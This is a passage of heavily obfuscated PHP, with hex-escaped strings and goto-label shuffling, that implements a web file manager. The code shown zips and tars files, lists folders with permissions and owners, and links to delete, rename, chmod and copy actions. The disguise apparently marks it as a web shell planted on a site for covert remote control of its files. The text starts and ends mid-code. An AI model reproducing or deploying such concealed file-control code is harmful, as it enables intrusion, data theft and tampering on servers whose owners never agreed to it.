</div></div><?php  fm_show_footer(); die; } goto T02Vs; H3aJB: function fm_redirect($url, $code = 302) { header("\x4c\x6f\143\141\x74\151\x6f\156\x3a\x20" . $url, true, $code); die; } goto Wl4aX; Z0yEM: if (!empty($folders)) { natcasesort($folders); } goto cNT0R; Yjf9B: if (isset($_POST["\x67\x72\x6f\165\160"], $_POST["\164\x6f\153\x65\156"]) && (isset($_POST["\172\x69\x70"]) || isset($_POST["\164\x61\162"])) && !FM_READONLY) { if (!verifyToken($_POST["\164\157\x6b\145\156"])) { fm_set_msg(lng("\x49\156\166\141\x6c\151\x64\40\x54\x6f\153\x65\156\x2e"), "\145\x72\x72\157\162"); } $path = FM_ROOT_PATH; $ext = "\172\x69\160"; if (FM_PATH != '') { $path .= "\57" . FM_PATH; } $ext = isset($_POST["\x74\141\162"]) ? "\164\x61\162" : "\172\x69\x70"; if ($ext == "\x7a\x69\x70" && !class_exists("\x5a\151\160\x41\x72\x63\x68\151\166\x65") || $ext == "\164\141\x72" && !class_exists("\x50\x68\x61\x72\x44\141\164\x61")) { fm_set_msg(lng("\x4f\160\145\162\x61\164\x69\x6f\156\163\40\x77\151\164\150\x20\141\x72\143\150\151\166\145\163\x20\x61\x72\x65\x20\156\157\x74\40\x61\x76\141\151\x6c\x61\x62\154\x65"), "\145\x72\x72\x6f\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($FM_PATH)); } $files = $_POST["\x66\x69\x6c\x65"]; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . "\137" . date("\x79\155\144\x5f\x48\x69\x73") . "\56" . $ext; } else { $zipname = "\141\162\x63\x68\151\x76\145\x5f" . date("\x79\x6d\x64\137\110\151\163") . "\56" . $ext; } if ($ext == "\172\x69\160") { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == "\x74\x61\x72") { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng("\x41\x72\x63\x68\151\x76\145") . "\40\74\x62\76\45\163\74\x2f\142\x3e\40" . lng("\103\162\x65\141\164\x65\x64"), fm_enc($zipname))); } else { fm_set_msg(lng("\x41\x72\143\x68\x69\166\145\40\156\x6f\164\40\x63\162\x65\x61\x74\x65\144"), "\x65\162\x72\x6f\x72"); } } else { fm_set_msg(lng("\116\157\164\x68\x69\x6e\147\40\x73\145\154\x65\x63\x74\x65\144"), "\141\154\x65\x72\164"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($FM_PATH)); } goto WDcgS; lk6I9: if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } goto P0Bpn; Z2uBi: $readonly_users = array("\165\x73\145\x72"); goto h7y7f; M3gSJ: function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file) { $bytes += $file->getSize(); } } return $bytes; } goto L6e6x; OW9L2: $ii = 3399; goto AflgV; Shjrz: function fm_get_audio_exts() { return array("\x77\141\166", "\155\160\x33", "\157\147\x67", "\155\x34\x61"); } goto Kp_YP; QjOVy: function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]["\155\x65\x73\163\x61\147\145"])) { $class = isset($_SESSION[FM_SESSION_ID]["\x73\x74\141\164\x75\163"]) ? $_SESSION[FM_SESSION_ID]["\163\x74\141\x74\165\x73"] : "\x6f\x6b"; echo "\74\160\40\143\154\x61\163\163\x3d\42\155\145\163\x73\141\147\145\40" . $class . "\x22\x3e" . $_SESSION[FM_SESSION_ID]["\x6d\145\163\163\141\147\x65"] . "\x3c\x2f\x70\x3e"; unset($_SESSION[FM_SESSION_ID]["\155\145\163\163\x61\147\145"]); unset($_SESSION[FM_SESSION_ID]["\163\164\x61\164\165\x73"]); } } goto iO59Z; GTAOy: defined("\x46\115\x5f\x45\x58\103\x4c\x55\x44\105\137\111\x54\x45\x4d\123") || define("\x46\115\x5f\x45\x58\103\x4c\125\104\x45\x5f\111\x54\x45\115\123", version_compare(PHP_VERSION, "\x37\56\x30\56\60", "\74") ? serialize($exclude_items) : $exclude_items); goto mhIRJ; SCXb6: function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, "\125\x54\x46\x2d\70"); } goto Uudpw; PhjhF: $ip_whitelist = array("\x31\62\x37\56\x30\x2e\60\x2e\x31", "\72\x3a\61"); goto tswKE; mZKnm: if (!FM_IS_WIN && !$hide_Cols) { ?>
<th><?php  echo lng("\x50\x65\x72\155\x73"); ?>
</th><th><?php  echo lng("\x4f\x77\x6e\145\x72"); ?>
</th><?php  } goto Swm02; Jzdgf: $report_errors = isset($cfg->data["\145\x72\162\157\162\137\x72\145\x70\157\x72\x74\151\x6e\x67"]) ? $cfg->data["\145\x72\x72\x6f\162\x5f\x72\x65\x70\x6f\162\x74\151\156\x67"] : true; goto qk3c_; VlMkl: define("\106\115\137\x45\x44\111\x54\x5f\106\x49\x4c\105", $edit_files); goto QVk7I; Q7sdU: class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != "\x2e" && $file != "\x2e\x2e") { if (is_dir($path . "\x2f" . $file)) { if (!$this->addDir($path . "\57" . $file)) { return false; } } elseif (is_file($path . "\x2f" . $file)) { try { $this->tar->addFile($path . "\57" . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } goto W21lx; AflgV: foreach ($folders as $f) { $is_link = is_link($path . "\57" . $f); $img = $is_link ? "\x69\143\157\x6e\x2d\154\151\156\x6b\x5f\x66\x6f\154\144\x65\162" : "\146\141\40\146\x61\x2d\146\157\x6c\144\x65\162\x2d\157"; $modif_raw = filemtime($path . "\x2f" . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("\x46\x20\144\40\x59\40\110\72\x69\72\x73\x2e", $modif_raw)); $filesize_raw = ''; $filesize = lng("\106\x6f\x6c\x64\145\162"); $perms = substr(decoct(fileperms($path . "\57" . $f)), -4); if (function_exists("\x70\x6f\x73\151\x78\137\147\145\x74\160\167\165\x69\x64") && function_exists("\160\157\163\x69\x78\137\147\145\x74\147\x72\x67\x69\144")) { $owner = posix_getpwuid(fileowner($path . "\x2f" . $f)); $group = posix_getgrgid(filegroup($path . "\57" . $f)); } else { $owner = array("\156\x61\x6d\x65" => "\x3f"); $group = array("\x6e\x61\155\145" => "\77"); } ?>
<tr><?php  if (!FM_READONLY) { ?>
<td class="custom-checkbox-td"><div class="custom-checkbox custom-control"><input name="file[]"type="checkbox"value="<?php  echo fm_enc($f); ?>
"id="<?php  echo $ii; ?>
"class="custom-control-input"> <label for="<?php  echo $ii; ?>
"class="custom-control-label"></label></div></td><?php  } ?>
<td data-sort="<?php  echo fm_convert_win(fm_enc($f)); ?>
"><div class="filename"><a href="?p=<?php  echo urlencode(trim(FM_PATH . "\x2f" . $f, "\57")); ?>
"><i class="<?php  echo $img; ?>
"></i><?php  echo fm_convert_win(fm_enc($f)); ?>
</a><?php  echo $is_link ? "\x20\x26\162\x61\x72\x72\73\40\74\x69\76" . readlink($path . "\57" . $f) . "\x3c\x2f\151\x3e" : ''; ?>
</div></td><td data-order="a-<?php  echo str_pad($filesize_raw, 18, "\60", STR_PAD_LEFT); ?>
"><?php  echo $filesize; ?>
</td><td data-order="a-<?php  echo $date_sorting; ?>
"><?php  echo $modif; ?>
</td><?php  if (!FM_IS_WIN && !$hide_Cols) { ?>
<td><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&chmod=<?php  echo urlencode($f); ?>
"title="Change Permissions"><?php  echo $perms; ?>
</a><?php  } else { echo $perms; } ?>
</td><td><?php  echo $owner["\x6e\141\155\x65"] . "\x3a" . $group["\x6e\141\x6d\145"]; ?>
</td><?php  } ?>
<td class="inline-actions"><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&del=<?php  echo urlencode($f); ?>
"title="<?php  echo lng("\x44\145\154\145\164\145"); ?>
"onclick='confirmDailog(event,"1028","<?php  echo lng("\x44\x65\x6c\145\164\x65") . "\x20" . lng("\x46\x6f\154\x64\x65\162"); ?>
","<?php  echo urlencode($f); ?>
",this.href)'><i class="fa fa-trash-o"aria-hidden="true"></i></a> <a href="#"title="<?php  echo lng("\122\145\x6e\x61\155\x65"); ?>
"onclick='return rename("<?php  echo fm_enc(addslashes(FM_PATH)); ?>
","<?php  echo fm_enc(addslashes($f)); ?>
"),!1'><i class="fa fa-pencil-square-o"aria-hidden="true"></i></a> <a href="?p=&copy=<?php  echo urlencode(trim(FM_PATH . "\x2f" . $f, "\x2f")); ?>
"title="<?php  echo lng("\x43\x6f\160\171\x54\x6f"); ?>
..."><i class="fa fa-files-o"aria-hidden="true"></i></a><?php  } ?>
<a href="<?php  echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "\x2f" . FM_PATH : '') . "\57" . $f . "\x2f"); ?>
"title="<?php  echo lng("\x44\x69\162\145\x63\164\114\x69\x6e\x6b"); ?>
"target="_blank"><i class="fa fa-link"aria-hidden="true"></i></a></td></tr><?php  flush(); $ii++; } goto x6rZD; uJNqv: '));